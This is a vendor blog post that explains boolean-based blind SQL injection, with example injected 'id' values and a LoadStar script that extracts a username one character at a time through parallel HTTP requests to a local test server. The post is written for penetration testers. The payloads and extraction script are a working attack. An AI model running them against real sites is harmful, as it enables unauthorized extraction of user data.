Monday, May 12, 2014

Discovering SQL Injection “Username” Within the Blink of an Eye

 

    One of the great things about LoadStar is it’s flexibility. Sure, it does a great job at load testing, generating real-world load, being easy to use. But it is also versatile enough to do very efficient scanning, as our HeartBleed blogs attest. Another capability that LoadStar excels at and that our customers benefit from is around security testing. Security professionals testing for vulnerabilities through penetration testing need an efficient platform for performing all sorts of tests. Two of the most common tests are DDoS and SQL Injection. Today, we will look at how the security professional can use LoadStar to do SQL Injection vulnerability testing by showing how easy it is to find a “username” in the blink of an eye.


   SQL Injection is one of the most common attacks against a web server.  There are many flavors of it. One of them was described here in this OWASP article is a Boolean Exploitation Technique.   Once you have found a site is vulnerable to this attack, you can easily determine usernames and exploit the vulnerability.


   For those who are not familiar with this attack,  here is some background.  Many web sites serve URLs like: http://www.example.com/news?id=123.  Suppose a server software is not careful and it simply generates a SQL statement based on user input without any validation:
            SELECT field1, field2, field3 FROM Users WHERE Id='<user_supplied_Id>'


This implementation will work just fine when id is a normal number (in this case 123).  But it can be exploited when someone sends a request with a specially crafted "id"


         1' AND SUBSTRING(username,1,1)='a' AND '1'='1


  With this "id", the internal SQL statement generated on the server side may look like
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND
SUBSTRING(username,1,1)='a' AND '1'='1'
  
   It's easy to see that if there is a username that begins with "a", the above SQL statement will be a match.   The attack will send multiple such requests, one for each of the characters.   At least one of them will be a hit,  say, "j",   which means that one of the usernames starts with "j".    Now the attack can guess the second character by crafting similar messages such as:
         1' AND SUBSTRING(username,1,2)='jx' AND '1'='1
where x ranges in the character set. One of them will be a hit, say, "s",  so the attacker knows there must be at least one username that begins with "js".


   He keeps applying this method and eventually he arrives at the conclusion that one of the usernames begins with "jsmith".  Now there are two possibilities: either "jsmith" is the username or there are more characters yet to be found.  One way to find it out is to try
         1' AND SUBSTRING(username,1,7)='jsmithx' AND '1'='1
Suppose none of characters result in a match, he knows "jsmith" is the username!

    Now that we understand the principle of the attack,  how do we carry it out?  Writing a script to do all the requests sequentially can still be slow since at each length, there are many characters (hence many HTTP requests) to try.    Turns out it is easy to implement this discovery process on the NetGend LoadStar platform and it's super fast to run.   Here is the script. After some explanation, you will find that the code is actually simpler than what it appears to be.   For the sake of our blog, we assume the server will return a page containing the word "yes" if the SQL statement turns out to be a match.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function userInit() {
    var chars = getChars(); //cover all the printable chars
    var charLen = length(chars);
    var urls;
    for (i=0; i<charLen; i++) {
        urls[i] = {"text": chars[i]};
    }
    var base = "";
}



function VUSER() { 
    for (j=1; j<15; j++) {
        for (i=0; i<charLen; i++) {
            username = "1' AND ASCII(SUBSTRING(username,1,${j}))='${base}${chars[i]}' AND '1'='1";
            username = toUrl(username);
            urls[i].url = "http://localhost/test2.php?username=${username}";
        }
        char = "";
        fetch(urls);
        for (k=0; k<charLen; k++) {
            wait();
            if (match(reply.replyBody, /yes/)) {
                char = reply.text;
            }
        }
        if (char == "") { break; }
        append(base, char);
    }
    println("username is ${base}");


  • Lines 2 - 7,   builds an array called "urls",  each entry has two fields:  one is called "text", which records a character from the character set, the other field will hold the URL that's based on that character (stored in "text" field).
  • Line 8  uses "base" variable to hold the characters that we have guessed correctly so far.
  • Line 14 means that we are going to guess up to length 15, we bet there will be a username with length less than 15. Note that it's easy to extend it to 20, 30.
  • Lines 15 - 19,  creates the URLs for each character in the character set.
  • Line 21.   performs the HTTP transactions simultaneously.
  • Lines 22 - 27, for each of the response, we check if it contains "yes". If so, we know that the corresponding character is a good guess.
  • Line 28.  if none of the characters resulted in a "yes", then variable "char" will be empty and we know we have come to the end.
  • Line 29. We append the character that we guessed right to the variable "base" and try the next loop. 

   We ran the test on a PC against a "vulnerable server" on the same PC. This username discovery process took only 0.12 sec - a blink of our eyes.    The key to the speed is that, at each length, we can try all the patterns in parallel.


  We believe this is a very valuable capability for security professionals to use in penetration and vulnerability testing.